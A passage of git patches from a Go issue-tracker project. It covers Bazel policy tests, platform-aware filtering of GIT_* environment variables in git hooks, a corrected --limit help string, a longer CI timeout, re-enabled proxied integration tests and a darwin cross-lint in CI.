TestBazelIntegrationLaneMatchesMainWorkflow(t *testing.T) { + root := bazelPolicyRoot(t) + mainYML := readPolicyFile(t, root, ".github/workflows/main.yml") + jobTags := regexp.MustCompile(`-race -tags=(\S+) -timeout=30m`).FindAllStringSubmatch(mainYML, -1) + if len(jobTags) != 2 { + t.Fatalf("main.yml: want the two integration jobs' `go test -race -tags=... -timeout=30m`, found %d", len(jobTags)) + } + want := tagSet(jobTags[0][1]) + if !want["integration"] || !sameTagSet(want, tagSet(jobTags[1][1])) { + t.Fatalf("main.yml integration jobs' tags differ or lack integration: %q, %q", jobTags[0][1], jobTags[1][1]) + } + if strings.Count(mainYML, "env BEADS_TEST_SKIP=dolt gotestsum") < 2 { + t.Fatal("main.yml integration jobs no longer run with BEADS_TEST_SKIP=dolt; update test:integration") + } + + bazelrc := readPolicyFile(t, root, ".bazelrc") + lines := map[string]bool{} + var laneTags map[string]bool + for _, line := range strings.Split(bazelrc, "\n") { + line = strings.TrimSpace(line) + lines[line] = true + if v, ok := strings.CutPrefix(line, "build:integration --@rules_go//go/config:tags="); ok { + laneTags = tagSet(v) + } + } + if !sameTagSet(laneTags, want) { + t.Errorf(".bazelrc build:integration tags = %v, want main.yml's %v", laneTags, want) + } + if err := checkBazelrcIntegrationLane(bazelrc); err != nil { + t.Error(err) + } + for _, need := range []string{ + "test:integration --@rules_go//go/config:race", + "test:integration --test_env=BEADS_TEST_SKIP=dolt", + } { + if !lines[need] { + t.Errorf(".bazelrc lacks %q", need) + } + } + + m := regexp.MustCompile(`(?m)^# gazelle:build_tags (\S+)$`).FindStringSubmatch(readPolicyFile(t, root, "BUILD.bazel")) + if m == nil { + t.Fatal("BUILD.bazel has no `# gazelle:build_tags` directive") + } + gazelleTags := tagSet(m[1]) + for tag := range want { + if !gazelleTags[tag] { + t.Errorf("BUILD.bazel `gazelle:build_tags %s` lacks %q: gazelle would leave that lane's files out of every BUILD file", m[1], tag) + } + } +} + +func TestBazelrcIntegrationLaneFixtures(t *testing.T) { + exclude := bazelIntegrationExcludedTags() + good := "test:integration --test_tag_filters=-" + strings.Join(exclude, ",-") + "\n" + + "test:integration --test_arg=-test.parallel=4\ntest:integration --test_arg=-test.timeout=19m\n" + if err := checkBazelrcIntegrationLane(good); err != nil { + t.Errorf("good fixture rejected: %v", err) + } + for name, rc := range map[string]string{ + "missing": "test:integration --keep_going\n", + "one missing": "test:integration --test_tag_filters=-" + strings.Join(exclude[1:], ",-") + "\n", + "later override": good + "test:integration --test_tag_filters=-manual\n", + "expanding config": good + "test:nightly --config=integration\ntest:nightly --test_tag_filters=\n", + "short": good + "test:integration --test_arg=-test.short\n", + "short spaced": good + "test:integration --test_arg -test.short\n", + "skip": good + "test:integration --test_arg=-test.skip=TestX\n", + "run": good + "test:integration --test_arg=--test.run=TestX\n", + "test_filter": good + "test:integration --test_filter=TestX\n", + } { + if err := checkBazelrcIntegrationLane(rc); err == nil { + t.Errorf("%s: expected an error for .bazelrc fixture:\n%s", name, rc) + } + } +} From 13150ba36066a0e7d6fa45f57933c85fea13acb2 Mon Sep 17 00:00:00 2001 From: ecuthiell Date: Mon, 28 Sep 2026 15:13:56 -0600 Subject: [PATCH 191/624] fix(hooks): apply host key identity to Git environment filters (#6321) * fix(hooks): use host key identity when filtering child environments Use execenv for the chained-hook guard and export Git routing filters. Keep their existing per-consumer denylist and valueless GIT_CONFIG prefix behavior while matching Windows os/exec key identity. Preserve the input slice and exercise mixed case, Unicode, malformed keys and value handling. The worktree-removal site from issue6198 remains owned by PR5623. This stack depends on PR5672 and must not close6198 before both parents land. * test(hooks): exercise both host key policies through actual filters (saa-cgh.89) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * refactor(hooks): share environment entry parsing and clarify serial seam (saa-cgh.89) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * build(bazel): list hook_env_test.go in cmd/bd go_test srcs The PR's new cmd/bd/hook_env_test.go is untagged but absent from the gazelle-managed go_test srcs list, so its two pins are invisible to `bazel test //cmd/bd:bd_test`. Both review lanes held this at minor on the grounds that untagged srcs drift is tolerated in this package: three untagged test files (config_leaked_secret_test.go, init_git_bootstrap_routing_test.go, init_role_environment_test.go) are likewise unlisted at this PR's base. That precedent is gone at the merge target. At origin/main 147047e15 the census is 23 omissions, all 23 //go:build-gated, zero untagged -- main landed all three rows -- so this file would be the merge target's only untagged omission. Two advisory steps in .github/workflows/bazel.yml (absent at this base, present at the merge target) act on that: `Go test equivalence` (tools/bazel/equivalence.py, which fails on any Go test `go test` runs and Bazel did not, including "missing target"; neither new test name is in equivalence_allowlist.txt) and the `make bazel-sync` drift check. The job's `if` includes head.repo.fork == true, so it always runs for this fork PR. Generated by `bazel run //:gazelle`, which is what the drift step compares the tree against. Gazelle also emitted the three base-owned cmd/bd rows and an internal/notion change; all four are already present at the merge target and were reverted so they merge from main's side. Co-Authored-By: Claude Opus 5 * build(bazel): sync scripts go_test srcs (adopted base debt, not this PR's change) scripts/upgrade_smoke_loop_test.go is untagged and absent from the gazelle-managed go_test srcs in scripts/BUILD.bazel, which reds the advisory Bazel lane two ways: `Go test equivalence` reports `TestUpgradeSmokeMultiVersionDispatch` as a test `go test` runs and Bazel did not, and the `BUILD files in sync` step's own `make bazel-sync` adds the row and then fails on the drift. This is NOT introduced by this PR, which touches zero files under scripts/. The gap is identical at this PR's base fc2351a51c and at HEAD, and the Bazel lane already fails on main's own pushes at fc2351a51c, 147047e15, 90f8e42f1 and 8c889c1f2 for this same reason -- it currently reds for every PR in the repo. Carried here because main is unprotected, so the pre-approval CI gate takes the strict path in which any failing run blocks, with no base-preexisting bypass. Generated by `bazel run //:gazelle`; the local drift is byte-identical to the drift CI reported (9345584 -> 5dfc23e). Kept as its own commit so the contributor's hook-env work stays separable from adopted base debt. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Gas City Adopt-PR Co-authored-by: Claude Opus 5 --- cmd/bd/BUILD.bazel | 1 + cmd/bd/export_auto.go | 46 ++++++++++++------------- cmd/bd/hook_env_test.go | 76 +++++++++++++++++++++++++++++++++++++++++ cmd/bd/hooks.go | 14 ++++---- 4 files changed, 106 insertions(+), 31 deletions(-) create mode 100644 cmd/bd/hook_env_test.go diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 88ea7915a..b22dcd48b 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -754,6 +754,7 @@ go_test( "history_full_hash_test.go", "history_proxied_integration_test.go", "history_remote_frontdoor_matrix_test.go", + "hook_env_test.go", "hooks_embedded_test.go", "hooks_exec_composition_test.go", "hooks_export_staged_deletion_test.go", diff --git a/cmd/bd/export_auto.go b/cmd/bd/export_auto.go index 54a6b6921..d366f8d52 100644 --- a/cmd/bd/export_auto.go +++ b/cmd/bd/export_auto.go @@ -9,6 +9,7 @@ import ( "os" "os/exec" "path/filepath" + "runtime" "sort" "strings" "sync" @@ -18,6 +19,7 @@ import ( "github.com/steveyegge/beads/internal/beads" "github.com/steveyegge/beads/internal/config" "github.com/steveyegge/beads/internal/debug" + "github.com/steveyegge/beads/internal/execenv" "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/storage/dolt" "github.com/steveyegge/beads/internal/types" @@ -1072,6 +1074,10 @@ func gitIndexLockPath(path string, env []string) (string, error) { return filepath.Join(gitDir, "index.lock"), nil } +// hookEnvGOOS lets both hook filters exercise either key policy on every test host. +// Process-wide seam: tests that swap it must not run in parallel. +var hookEnvGOOS = runtime.GOOS + // scrubGitHookEnv returns env with the GIT_* variables that can poison // git's repo/worktree auto-discovery or object-store resolution removed, // so git falls back to auto-discovery from cwd. The scrub is @@ -1090,34 +1096,28 @@ func gitIndexLockPath(path string, env []string) (string, error) { // GIT_CONFIG namespace, which includes _COUNT, _KEY_n, _VALUE_n, // _GLOBAL, _SYSTEM, _NOSYSTEM, and the legacy GIT_CONFIG itself. func scrubGitHookEnv(env []string) []string { + return scrubGitHookEnvForOS(env, hookEnvGOOS) +} + +func scrubGitHookEnvForOS(env []string, goos string) []string { // The GIT_CONFIG prefix (no trailing "=") is intentional: it matches // GIT_CONFIG=, GIT_CONFIG_COUNT=, GIT_CONFIG_KEY_n=, GIT_CONFIG_VALUE_n=, // GIT_CONFIG_PARAMETERS=, GIT_CONFIG_GLOBAL=, GIT_CONFIG_SYSTEM=, and // GIT_CONFIG_NOSYSTEM= — the whole family — in one entry. No standard // git env var starts with GIT_CONFIG that we want to preserve. - prefixes := []string{ - "GIT_DIR=", - "GIT_WORK_TREE=", - "GIT_INDEX_FILE=", - "GIT_COMMON_DIR=", - "GIT_PREFIX=", - "GIT_OBJECT_DIRECTORY=", - "GIT_ALTERNATE_OBJECT_DIRECTORIES=", - "GIT_CEILING_DIRECTORIES=", - "GIT_DISCOVERY_ACROSS_FILESYSTEM=", - "GIT_CONFIG", - } - out := make([]string, 0, len(env)) - for _, e := range env { - skip := false - for _, p := range prefixes { - if strings.HasPrefix(e, p) { - skip = true - break - } - } - if !skip { - out = append(out, e) + cleaned := execenv.WithoutForOS(env, goos, + "GIT_DIR", "GIT_WORK_TREE", "GIT_INDEX_FILE", "GIT_COMMON_DIR", + "GIT_PREFIX", "GIT_OBJECT_DIRECTORY", "GIT_ALTERNATE_OBJECT_DIRECTORIES", + "GIT_CEILING_DIRECTORIES", "GIT_DISCOVERY_ACROSS_FILESYSTEM", + ) + // Without owns a fresh slice, so this second filter cannot mutate env. + out := cleaned[:0] + for _, entry := range cleaned { + // Prefix policy also drops valueless GIT_CONFIG entries. Without + // intentionally preserves valueless exact keys such as GIT_DIR. + key := execenv.EntryKey(entry) + if !execenv.KeyHasPrefixForOS(key, "GIT_CONFIG", goos) { + out = append(out, entry) } } return out diff --git a/cmd/bd/hook_env_test.go b/cmd/bd/hook_env_test.go new file mode 100644 index 000000000..0420921ec --- /dev/null +++ b/cmd/bd/hook_env_test.go @@ -0,0 +1,76 @@ +package main + +import ( + "slices" + "testing" +) + +func TestFilterChainedHookEnvUsesHostKeyIdentity(t *testing.T) { + checkHookEnvForBothHosts(t, checkChainedHookEnv) +} + +// Callers and subtests must remain serial while they swap the process-wide seam. +func checkHookEnvForBothHosts(t *testing.T, check func(*testing.T)) { + t.Helper() + for _, goos := range []string{"linux", "windows"} { + t.Run(goos, func(t *testing.T) { + previous := hookEnvGOOS + hookEnvGOOS = goos + t.Cleanup(func() { hookEnvGOOS = previous }) + check(t) + }) + } +} + +func checkChainedHookEnv(t *testing.T) { + t.Helper() + env := []string{ + "BD_GIT_HOOK=canonical", "bd_git_hook=mixed", "BD_GİT_HOOK=unicode-case", + "BD_GIT_HOOK=unicode-case", "BD_GIT_HOOK=", + "BD_GıT_HOOK=distinct", "KEEP=first", "KEEP=BD_GIT_HOOK=1", + "BD_GIT_HOOK", `=C:=C:\work`, + } + original := slices.Clone(env) + want := []string{"BD_GıT_HOOK=distinct", "KEEP=first", "KEEP=BD_GIT_HOOK=1", "BD_GIT_HOOK", `=C:=C:\work`} + if hookEnvGOOS != "windows" { + want = append([]string{"bd_git_hook=mixed", "BD_GİT_HOOK=unicode-case", "BD_GIT_HOOK=unicode-case"}, want...) + } + if got := filterEnv(env, "BD_GIT_HOOK"); !slices.Equal(got, want) { + t.Errorf("chained-hook environment = %q, want %q", got, want) + } + if !slices.Equal(env, original) { + t.Errorf("input environment mutated: %q", env) + } +} + +func TestScrubGitHookEnvUsesHostKeyIdentity(t *testing.T) { + checkHookEnvForBothHosts(t, checkGitHookEnv) +} + +func checkGitHookEnv(t *testing.T) { + t.Helper() + env := []string{ + "GIT_DIR=canonical", "git_dir=mixed", "GİT_DİR=unicode-case", "GIT_DıR=distinct", + "GIT_WORK_TREE=unicode-case", "GIT_DIſCOVERY_ACROSS_FILESYSTEM=distinct", "GIT_CONFIG=", + "GIT_CONFIG_COUNT=1", "git_config_parameters=mixed", "gİt_config_count=unicode-case", + "GIT_CONFIG_UNSET", "git_config_unset", "KEEP=first", "KEEP=GIT_CONFIG_COUNT=1", + "GIT_AUTHOR_NAME=author", "GIT_OPTIONAL_LOCKS=1", "GIT_DIR", "MALFORMED", `=C:=C:\work`, + } + original := slices.Clone(env) + want := []string{"GIT_DıR=distinct"} + if hookEnvGOOS != "windows" { + want = append([]string{"git_dir=mixed", "GİT_DİR=unicode-case"}, want...) + want = append(want, "GIT_WORK_TREE=unicode-case") + } + want = append(want, "GIT_DIſCOVERY_ACROSS_FILESYSTEM=distinct") + if hookEnvGOOS != "windows" { + want = append(want, "git_config_parameters=mixed", "gİt_config_count=unicode-case", "git_config_unset") + } + want = append(want, "KEEP=first", "KEEP=GIT_CONFIG_COUNT=1", "GIT_AUTHOR_NAME=author", "GIT_OPTIONAL_LOCKS=1", "GIT_DIR", "MALFORMED", `=C:=C:\work`) + if got := scrubGitHookEnv(env); !slices.Equal(got, want) { + t.Errorf("Git-hook environment = %q, want %q", got, want) + } + if !slices.Equal(env, original) { + t.Errorf("input environment mutated: %q", env) + } +} diff --git a/cmd/bd/hooks.go b/cmd/bd/hooks.go index 63a3e42c4..b48d5c75f 100644 --- a/cmd/bd/hooks.go +++ b/cmd/bd/hooks.go @@ -14,6 +14,7 @@ import ( "github.com/steveyegge/beads/internal/beads" "github.com/steveyegge/beads/internal/config" "github.com/steveyegge/beads/internal/debug" + "github.com/steveyegge/beads/internal/execenv" "github.com/steveyegge/beads/internal/git" "github.com/steveyegge/beads/internal/gitenv" "github.com/steveyegge/beads/internal/metrics" @@ -2100,14 +2101,11 @@ func warnJSONLWithoutDoltRemote(reason string) { // filterEnv returns a copy of env with entries matching the given key removed. func filterEnv(env []string, key string) []string { - prefix := key + "=" - out := make([]string, 0, len(env)) - for _, e := range env { - if !strings.HasPrefix(e, prefix) { - out = append(out, e) - } - } - return out + return filterEnvForOS(env, key, hookEnvGOOS) +} + +func filterEnvForOS(env []string, key, goos string) []string { + return execenv.WithoutForOS(env, goos, key) } // runPostMergeHook runs chained hooks after merge, then runs the legacy From 9c94613b2b560185ba8a25db8ea9778d461740fc Mon Sep 17 00:00:00 2001 From: Vishnu J Date: Mon, 28 Sep 2026 14:14:28 -0700 Subject: [PATCH 192/624] fix(list): correct --limit help for piped-output default (#6276) bd list --help claimed an unconditional default of 50 for --limit, but gatherListInput (cmd/bd/list_input.go) resolves effectiveLimit through a switch: an explicit --limit wins, then --all is unlimited, then a configured list.limit applies, then piped stdout (not a terminal) is unlimited (GH#4094, #4158), then agent mode (BD_AGENT_MODE=1 or CLAUDE_CODE set) at a terminal is 20, and only then 50. Neither the piped nor the agent-mode arm was documented, so a script piping bd list --json | ... or an agent at an interactive terminal could not tell its actual limit from --help alone. Reworded the --limit usage string to state those arms in the switch's order, each with its precondition: an explicit --limit always wins (so --all --limit 5 is 5, and 0 means unlimited); otherwise --all is unlimited; otherwise a configured list.limit applies; otherwise unlimited when piped, else 20 in agent mode at a terminal, else 50. Added TestListLimitHelpDescribesPipedBehavior, which pins the usage string verbatim (a substring check would accept a clause scoped wider than its arm) and, with list.limit configured to 7, checks that --all --limit 5 resolves to 5, --all to 0, and piped output to 7. The flag keeps registering workapi.DefaultListLimit, so cobra still appends "(default 50)" to the line: the registered value is never consumed at runtime (list_input.go overwrites it with config.GetInt("list.limit") when the flag is unset), but internal/httpapi/apigen/types.gen.go documents it as the value the flag registers, so changing it is out of scope here. Fixes gastownhall/beads#6069 Co-authored-by: Claude Fable 5.1 --- cmd/bd/list.go | 2 +- cmd/bd/list_limit_policy_test.go | 59 ++++++++++++++++++++++++++++++++ 2 files changed, 60 insertions(+), 1 deletion(-) diff --git a/cmd/bd/list.go b/cmd/bd/list.go index ca75bcf27..cb1fa12fd 100644 --- a/cmd/bd/list.go +++ b/cmd/bd/list.go @@ -420,7 +420,7 @@ func init() { listCmd.Flags().String("title", "", "Filter by title text (case-insensitive substring match)") listCmd.Flags().String("spec", "", "Filter by spec_id prefix") listCmd.Flags().String("id", "", "Filter by specific issue IDs (comma-separated, e.g., bd-1,bd-5,bd-10)") - listCmd.Flags().IntP("limit", "n", workapi.DefaultListLimit, "Limit results (default 50, use 0 for unlimited)") + listCmd.Flags().IntP("limit", "n", workapi.DefaultListLimit, "Limit results (an explicit --limit always wins, 0 meaning unlimited; otherwise --all is unlimited; otherwise a configured list.limit applies; otherwise unlimited when piped, else 20 in agent mode at a terminal, else 50)") listCmd.Flags().Int("offset", 0, "Skip the first N matching results (0-based). Only supported under --proxied-server.") listCmd.Flags().String("format", "", "Output format: 'digraph' (for golang.org/x/tools/cmd/digraph), 'dot' (Graphviz), or Go template") listCmd.Flags().Bool("all", false, "Show all issues including closed (overrides default filter)") diff --git a/cmd/bd/list_limit_policy_test.go b/cmd/bd/list_limit_policy_test.go index ec8b79c3d..39272059b 100644 --- a/cmd/bd/list_limit_policy_test.go +++ b/cmd/bd/list_limit_policy_test.go @@ -91,3 +91,62 @@ func TestListLimitPolicyIsResolvedBeforeTheRequest(t *testing.T) { }) } } + +// GH#6069: the --limit flag help must describe the switch pinned above, in +// the switch's own order, not claim an unconditional "default 50". The whole +// usage string is pinned verbatim: a substring check would accept a clause +// scoped wider than its arm (an earlier draft's "--all is always unlimited" +// contained every needle and was still false, because an explicit --limit +// outranks --all). The cases below tie the three claims a reader is most +// likely to get wrong back to the switch, each with list.limit configured. +func TestListLimitHelpDescribesPipedBehavior(t *testing.T) { + flag := listCmd.Flags().Lookup("limit") + if flag == nil { + t.Fatal("listCmd has no --limit flag registered") + } + const want = "Limit results (an explicit --limit always wins, 0 meaning unlimited; otherwise --all is unlimited; otherwise a configured list.limit applies; otherwise unlimited when piped, else 20 in agent mode at a terminal, else 50)" + if flag.Usage != want { + t.Errorf("--limit help = %q\nwant %q", flag.Usage, want) + } + + t.Chdir(t.TempDir()) + config.ResetForTesting() + t.Cleanup(config.ResetForTesting) + if err := config.Initialize(); err != nil { + t.Fatalf("config.Initialize: %v", err) + } + config.Set("list.limit", 7) + if got := config.GetValueSource("list.limit"); got == config.SourceDefault { + t.Fatal("precondition: config.Set did not make list.limit count as configured") + } + for _, tc := range []struct { + name string + args []string + want int + needsPipe bool + }{ + // limitChanged is the first arm, so --all does not make an explicit + // --limit unlimited. Holds at a terminal or a pipe alike. + {"an explicit --limit outranks --all", []string{"--all", "--limit", "5"}, 5, false}, + // The AllFlag arm precedes listLimitConfigured and !IsTerminal, so + // this holds at a terminal too and never needs to skip. + {"--all is unlimited even with list.limit configured", []string{"--all"}, 0, false}, + // listLimitConfigured precedes the !IsTerminal arm. Only a piped + // stdout can show that ordering; at a terminal the same 7 would + // prove nothing about the piped arm. + {"piped output takes a configured list.limit", nil, 7, true}, + } { + t.Run(tc.name, func(t *testing.T) { + if tc.needsPipe && ui.IsTerminal() { + t.Skip("this case shows a configured list.limit outranking the piped-stdout arm, so stdout must be a pipe; go test's is, this run's is not") + } + in, err := gatherListInput(newListLimitCommand(t, tc.args...)) + if err != nil { + t.Fatalf("gatherListInput(%v): %v", tc.args, err) + } + if in.effectiveLimit != tc.want { + t.Errorf("effectiveLimit = %d, want %d", in.effectiveLimit, tc.want) + } + }) + } +} From e0840ad2faf76b79f30998669aec731c3daf2345 Mon Sep 17 00:00:00 2001 From: Jim Wordelman Date: Mon, 28 Sep 2026 14:16:01 -0700 Subject: [PATCH 193/624] fix: raise Differential Regression CI timeout budget (#6271) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix: green — Fix: differential-regression CI budget is under the suite's own passing wall time (5 spurious reds/day) (refs be-3r5pr) * docs(release-gates): PASS 7/7 — be-kqg23 (differential-regression CI budget fix) Deploy bead be-23wcp, source commit 3afba49b69ff6ae7c935f22b5293384ce18fe54a. All 7 criteria raw PASS, no waivers. 62 pre-existing make-test FAILs attributed to tracked bead be-9ogs6 via 4-part proof. Criterion 3c (CI-config-diff live-run): PR #6271's own "Differential Regression" job ran green under the new 40m/45m budget. PR #6271 open against gastownhall/beads (contributor-only rig — no merge-request routed). * chore: remove leaked internal release-gate doc from PR branch release-gates/be-kqg23-gate.md Tracked our internal gc-management/beads-rig release-gate checklist and should never have been committed to this upstream branch -- it's process residue from our deploy tooling, not part of the change itself. Per maintainer bee-ghosttrack's request during review of PR #6571. The root cause (our deploy tooling auto-committing this file) is already fixed as of gm-qatxl1; this branch predates that fix, so this commit is cleanup only -- no other content on this branch is touched. Ref: be-lk7o3 --- .github/workflows/regression.yml | 16 ++++++++++++++-- 1 file changed, 14 insertions(+), 2 deletions(-) diff --git a/.github/workflows/regression.yml b/.github/workflows/regression.yml index 46237752b..a1ec683e9 100644 --- a/.github/workflows/regression.yml +++ b/.github/workflows/regression.yml @@ -77,7 +77,7 @@ jobs: needs: detect-regression-need if: needs.detect-regression-need.outputs.run_regression == 'true' runs-on: ubuntu-latest - timeout-minutes: 25 + timeout-minutes: 45 steps: - name: Show regression trigger reason run: echo "${{ needs.detect-regression-need.outputs.reason }}" @@ -117,5 +117,17 @@ jobs: path: ~/.cache/beads-regression key: regression-baseline-${{ hashFiles('tests/regression/BASELINE_VERSION') }} + # Passing-side wall time already overlapped the go deadline below, so + # ordinary GitHub-runner speed variance -- not a real hang -- was + # tripping this step. Measured over the 100 most recent Regression + # Tests runs (2026-09-03/04, ~29.5h): p50 593s (~10m), max passing + # 1189s (~19.8m) against the prior 1200s (20m) cap, and 5 runs in that + # window hit the identical `panic: test timed out after 20m0s` with + # zero `--- FAIL` lines -- a budget defect, not a regression. Match + # main.yml's Test job fix for the same failure mode: raise the go + # deadline to cover the observed slowdown and keep it inside a larger + # finite job budget (see timeout-minutes above), so the go deadline + # fires first and prints goroutine stacks -- a REAL hang stays + # diagnosable instead of being cut off by a bare job kill. - name: Run regression tests - run: go test -tags=regression,gms_pure_go -timeout=20m -v ./tests/regression/... + run: go test -tags=regression,gms_pure_go -timeout=40m -v ./tests/regression/... From 5e3deaa18a55329f8243298e53528249b6f8ce63 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?B=C3=B9i=20Phan=20Vi=E1=BA=BFt=20C=C6=B0=E1=BB=9Dng?= <34797498+cuongbphv@users.noreply.github.com> Date: Tue, 29 Sep 2026 05:19:27 +0700 Subject: [PATCH 194/624] test(proxied): un-skip the two bd list subtests that waited for bd dep add proxied support (#6244) cmd/bd/list_proxied_integration_test.go skipped ready_parent_tree_excludes_blocked_descendants and tree_relates_to_does_not_nest_or_drop_epics (the GH#3936 regression) with a TODO saying `bd dep add` had no usesProxiedServer() dispatch and failed with "storage is nil" under proxied mode. That dispatch exists now (cmd/bd/dep.go routes `dep add` to runDepAddProxiedServer), so the skips only hid coverage. Port both subtests from their embedded twins in list_embedded_test.go unchanged apart from the proxied helpers (bdProxiedCreate, bdProxiedDep, bdProxiedList). Same assertions, same flags, same failure messages. Run under BEADS_TEST_PROXIED_SERVER=1 against the shared Dolt container: both subtests pass (0.60s / 0.44s), whole TestProxiedServerList passes. --- cmd/bd/list_proxied_integration_test.go | 39 +++++++++++++++++++++---- 1 file changed, 33 insertions(+), 6 deletions(-) diff --git a/cmd/bd/list_proxied_integration_test.go b/cmd/bd/list_proxied_integration_test.go index 80dd977ed..774cd92e5 100644 --- a/cmd/bd/list_proxied_integration_test.go +++ b/cmd/bd/list_proxied_integration_test.go @@ -228,16 +228,43 @@ func TestProxiedServerList(t *testing.T) { }) t.Run("ready_parent_tree_excludes_blocked_descendants", func(t *testing.T) { - // TODO: re-enable once `bd dep add` is ported to proxied mode. - // Currently bd dep add fails with "storage is nil" under proxied - // since the dep subcommand has no usesProxiedServer() dispatch. - t.Skip("requires bd dep add proxied support") + parent := bdProxiedCreate(t, bd, p.dir, "Ready parent tree", "--type", "epic") + readyChild := bdProxiedCreate(t, bd, p.dir, "Ready child in tree", "--type", "task", "--parent", parent.ID) + blockedChild := bdProxiedCreate(t, bd, p.dir, "Blocked child in tree", "--type", "task", "--parent", parent.ID) + blocker := bdProxiedCreate(t, bd, p.dir, "Tree child blocker", "--type", "task") + bdProxiedDep(t, bd, p.dir, "add", blockedChild.ID, blocker.ID) + + out := bdProxiedList(t, bd, p, "--ready", "--parent", parent.ID, "--no-pager") + if !strings.Contains(out, readyChild.ID) { + t.Errorf("ready child %s should appear in ready parent tree:\n%s", readyChild.ID, out) + } + if strings.Contains(out, blockedChild.ID) { + t.Errorf("blocked child %s should not appear in ready parent tree:\n%s", blockedChild.ID, out) + } }) // Regression for gastownhall/beads#3936: relates-to between two epics - // must not nest them, and bidirectional relates-to must not drop them. + // must not nest them in `bd list` tree mode, and a bidirectional + // relates-to must not silently drop both epics from the output. t.Run("tree_relates_to_does_not_nest_or_drop_epics", func(t *testing.T) { - t.Skip("requires bd dep add proxied support") + epicA := bdProxiedCreate(t, bd, p.dir, "Relates Epic A", "--type", "epic", "--priority", "2") + epicB := bdProxiedCreate(t, bd, p.dir, "Relates Epic B", "--type", "epic", "--priority", "2") + + bdProxiedDep(t, bd, p.dir, "add", epicA.ID, epicB.ID, "--type", "relates-to") + out := bdProxiedList(t, bd, p, "--no-pager", "--type", "epic") + if !strings.Contains(out, epicA.ID) || !strings.Contains(out, epicB.ID) { + t.Fatalf("one-direction relates-to should keep both epics visible:\n%s", out) + } + if strings.Contains(out, "└── "+epicA.ID) || strings.Contains(out, "└── "+epicB.ID) || + strings.Contains(out, "├── "+epicA.ID) || strings.Contains(out, "├── "+epicB.ID) { + t.Fatalf("relates-to must not nest epics under each other:\n%s", out) + } + + bdProxiedDep(t, bd, p.dir, "add", epicB.ID, epicA.ID, "--type", "relates-to") + out = bdProxiedList(t, bd, p, "--no-pager", "--type", "epic") + if !strings.Contains(out, epicA.ID) || !strings.Contains(out, epicB.ID) { + t.Fatalf("bidirectional relates-to must not drop epics from tree output:\n%s", out) + } }) t.Run("ready_parent_filter_includes_grandchildren", func(t *testing.T) { From 5cc896c8f0c7f7a2842a676b164e24b347f18f06 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?B=C3=B9i=20Phan=20Vi=E1=BA=BFt=20C=C6=B0=E1=BB=9Dng?= <34797498+cuongbphv@users.noreply.github.com> Date: Tue, 29 Sep 2026 05:44:52 +0700 Subject: [PATCH 195/624] fix(lint): suppress two darwin-only gosec findings and cross-lint the darwin build in CI (#6243) * fix(lint): suppress two darwin-only gosec findings and cross-lint the darwin build in CI scripts/ci/pr-lint.sh lints natively on the ubuntu runner plus one GOOS=windows CGO_ENABLED=0 cross-lint, so files behind //go:build darwin (and the !windows && !linux fallbacks) were never linted in CI. Linting the darwin build reports two gosec findings that are clean on linux: - internal/config/permissions_open_nonlinux.go: G304 on os.Open(path). The file comment already explains why it is safe (fixBeadsDirPermissions re-checks descriptor identity before chmod); it just had no directive. - internal/utils/path_case_darwin.go: G103 on unsafe.Pointer. A directive existed but sat on the first line of a multi-line unix.Syscall call, while gosec reports the argument line four lines down, so it never covered the finding. It now sits on its own line above the statement, the placement cmd/bd/nocow_linux.go already uses. Add a GOOS=darwin GOARCH=arm64 CGO_ENABLED=0 cross-lint block to pr-lint.sh mirroring the windows block (same flags, same lane scoping, skipped when the native target already matches), and update the three places that described the wrapper as two passes: engdocs/LINTING.md, engdocs/CI_CLEANUP_PLAN.md and the comment in main.yml. The darwin pass is compile-only on the Linux runner: no macOS runner, no change to the pr-lint platform column. Like the windows pass it is CGO_ENABLED=0, so darwin+cgo code stays outside its reach. * docs(linting): bump the Last reviewed marker alongside the pr-lint change --- .github/workflows/main.yml | 4 ++-- engdocs/CI_CLEANUP_PLAN.md | 7 +++++-- engdocs/LINTING.md | 6 ++++-- internal/config/permissions_open_nonlinux.go | 1 + internal/utils/path_case_darwin.go | 3 ++- scripts/ci/pr-lint.sh | 12 ++++++++++++ 6 files changed, 26 insertions(+), 7 deletions(-) diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index 93ce257fa..e8af10a9b 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -445,8 +445,8 @@ jobs: run: go install github.com/golangci/golangci-lint/v2/cmd/golangci-lint@v2.10.1 # No BD_LINT_NEW_FROM_MERGE_BASE here: the push lane sweeps the whole - # tree, including the GOOS=windows cross-lint. pr.yml scopes the same - # wrapper to the PR's own diff. + # tree, including the GOOS=windows and GOOS=darwin cross-lints. pr.yml + # scopes the same wrapper to the PR's own diff. - name: Run PR lint wrapper run: make ci-pr-lint diff --git a/engdocs/CI_CLEANUP_PLAN.md b/engdocs/CI_CLEANUP_PLAN.md index 1987b970d..7d7035b6a 100644 --- a/engdocs/CI_CLEANUP_PLAN.md +++ b/engdocs/CI_CLEANUP_PLAN.md @@ -1,6 +1,6 @@ # CI Cleanup Plan -Last reviewed: 2026-08-10 +Last reviewed: 2026-09-03 Freshness source: `engdocs/CI_TEST_SURFACE_AUDIT.md`, `.github/workflows/*.yml`, `.buildflags`, `.golangci.yml`, `scripts/ci/pr-lint.sh`, `Makefile`, package test @@ -167,8 +167,11 @@ easy to identify and rerun. It includes: downloads, a five-minute timeout, and the `gms_pure_go` build tag. - A second non-CGO Windows cross-lint pass when the native target does not already cover that build tuple. +- A third non-CGO darwin (arm64) cross-lint pass under the same rule. Both + cross-lints are compile-only passes on the Linux runner; they add no macOS or + Windows runner and do not change the platform column above. -Both passes are SCOPED BY LANE. On a PR the wrapper takes +All three passes are SCOPED BY LANE. On a PR the wrapper takes `BD_LINT_NEW_FROM_MERGE_BASE` and reports only the findings that PR introduces, matching the `only-new-issues` setting on the sibling `lint` job; on a push to `main`, and for anyone running `make ci-pr-lint` by hand, it is unset and the diff --git a/engdocs/LINTING.md b/engdocs/LINTING.md index 5cada258f..1f392b63a 100644 --- a/engdocs/LINTING.md +++ b/engdocs/LINTING.md @@ 